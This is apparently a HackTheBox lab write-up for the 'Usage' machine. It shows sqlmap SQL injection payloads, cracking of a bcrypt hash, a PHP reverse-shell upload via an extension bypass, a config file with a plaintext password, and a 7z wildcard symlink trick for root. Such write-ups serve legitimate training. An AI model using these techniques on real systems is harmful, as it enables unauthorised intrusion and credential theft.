Usage is an easy-difficulty HackTheBox machine, dealing with initial SQL Injection compromise leading us to the admin dashboard where we will be abusing encore/laravel-admin v1.8.18 to land a shell on the system, and finally a wildcard abuse in 7z.
Nmap scan report for10.129.88.136 Host is up (0.20s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 a0f8fdd304b807a063dd37dfd7eeca78 (ECDSA) |_ 256 bd22f5287727fb65baf6fd2f10c7828f (ED25519) 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-title: Did not follow redirect to http://usage.htb/ |_http-server-header: nginx/1.18.0 (Ubuntu) No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ). TCP/IP fingerprint: OS:SCAN(V=7.93%E=4%D=8/10%OT=22%CT=1%CU=31655%PV=Y%DS=2%DC=T%G=Y%TM=66B734A OS:B%P=i686-pc-windows-windows)SEQ(SP=103%GCD=1%ISR=108%TI=Z%CI=Z%II=I%TS=A OS:)SEQ(CI=Z%II=I)OPS(O1=M54EST11NW7%O2=M54EST11NW7%O3=M54ENNT11NW7%O4=M54E OS:ST11NW7%O5=M54EST11NW7%O6=M54EST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W OS:5=FE88%W6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M54ENNSNW7%CC=Y%Q=)T1(R=Y%DF=Y OS:%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F OS:=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y% OS:T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD OS:=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE OS:(R=Y%DFI=N%T=40%CD=S)
Network Distance: 2 hops Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 256/tcp) HOP RTT ADDRESS 1306.00 ms 10.10.16.1 2130.00 ms 10.129.88.136
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in44.92 seconds
We can see that we have OpenSSH running on port 22, and web application exposed on port 80 utilizing the domain name usage.htb. So we go forward and add the usage.htb entry to our /etc/hosts file: 10.129.88.136 usage.htb
Since I still did not find anything of interest on the main domain, I just thought of trying to get into it using SQL injection. We have different entrypoints for that such as the login portal and the forgot password portal: Password Reset
So I just went forward and intercepted the request using Caido:
Trying to inject single quotes into the email field, we are presented with a 500 internal server error, which strengthens our thoughts of SQL Injection: Password Reset Password Reset
SQL Injection Exploitation - SQLMap
I’ll first intercept the request being made for password reset, and then pass it along to sqlmap to check what we might have. And it is vulnerable!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
──(kali㉿kali)-[~/hackthebox/usage] └─$ sqlmap -r request.txt -p email --level 5 --risk 3 --batch --threads 10 --dbs <snip> POST parameter 'email' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N sqlmap identified the following injection point(s) with a total of 739 HTTP(s) requests: --- Parameter: email (POST) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment) Payload: _token=DGA8A7rtMhyX8BC5kUKoiO1bn00gMumga5ZKJAlx&[email protected]' AND 5430=(SELECT (CASE WHEN (5430=5430) THEN 5430 ELSE (SELECT 8123 UNION SELECT 5977) END))-- fWmg Type: time-based blind Title: MySQL < 5.0.12 AND time-based blind (heavy query) Payload: _token=DGA8A7rtMhyX8BC5kUKoiO1bn00gMumga5ZKJAlx&[email protected]' AND 6527=BENCHMARK(5000000,MD5(0x7a546b67))-- YvmE --- [07:08:23] [INFO] the back-end DBMS is MySQL <snip>
We then crack the hash using rockyou.txt and get our password:
1 2 3 4 5 6 7 8 9 10 11 12
┌──(kali㉿kali)-[~/hackthebox/usage] └─$ john -w=/usr/share/wordlists/rockyou.txt hash.txt Using default input encoding: UTF-8 Loaded 1 password hash (bcrypt [Blowfish 32/64 X3]) Cost 1 (iteration count) is 1024 for all loaded hashes Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status whatever1 (?) 1g 0:00:00:07 DONE (2024-08-10 07:22) 0.1319g/s 213.7p/s 213.7c/s 213.7C/s alexis1..serena Use the "--show" option to display all of the cracked passwords reliably Session completed
We can now login into the admin dashboard: Admin Dashboard
Admin Dashboard
CVE-2023-24249
Looking at the dashboard, we can see dependencies used by the web application. Looking for potential exploits on them we find an interesting File Upload Vulnerability related to encore/laravel-admin v1.8.18: https://www.cvedetails.com/cve/CVE-2023-24249
We can then craft our own PHP reverse shell, navigate to the avatar upload feature and intercept it to change the extension since Only "image" files are supported. So we upload our php script with the extension of .php.jpg and change it to .php.jpg.php upon intercepting it:
dash@usage:~$ cat .monitrc #Monitoring Interval in Seconds set daemon 60
#Enable Web Access set httpd port 2812 use address 127.0.0.1 allow admin:3nc0d3d_pa$$w0rd
#Apache check process apache with pidfile "/var/run/apache2/apache2.pid" if cpu > 80% for 2 cycles then alert
#System Monitoring check system usage if memory usage > 80% for 2 cycles then alert if cpu usage (user) > 70% for 2 cycles then alert if cpu usage (system) > 30% then alert if cpu usage (wait) > 20% then alert if loadavg (1min) > 6 for 2 cycles then alert if loadavg (5min) > 4 for 2 cycles then alert if swap usage > 5% then alert
check filesystem rootfs with path / if space usage > 80% then alert dash@usage:~$
Xander to root
Checking what xander can run as sudo we find something interesting:
1 2 3 4 5 6 7 8
xander@usage:~$ sudo -l Matching Defaults entries for xander on usage: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User xander may run the following commands on usage: (ALL : ALL) NOPASSWD: /usr/bin/usage_management xander@usage:~$
Performing a simple strings command on the /usr/bin/usage_management binary, I find this interesting command:
1
/usr/bin/7za a /var/backups/project.zip -tzip -snl -mmt -- *
Which is what I believe to be running under the hood when running the binary:
xander@usage:~$ sudo /usr/bin/usage_management Choose an option: 1. Project Backup 2. Backup MySQL data 3. Reset admin password Enter your choice (1/2/3): 1
Files read from disk: 17946 Archive size: 54830173 bytes (53 MiB) Everything is Ok
Doing some research, I find this interesting article from https://book.hacktricks.xyz/: https://book.hacktricks.xyz/linux-hardening/privilege-escalation/wildcards-spare-tricks
We can create files in the folder where this is being executed, we could create the file @root.txt and the file root.txt being a symlink to the file we want to read and we get our root flag: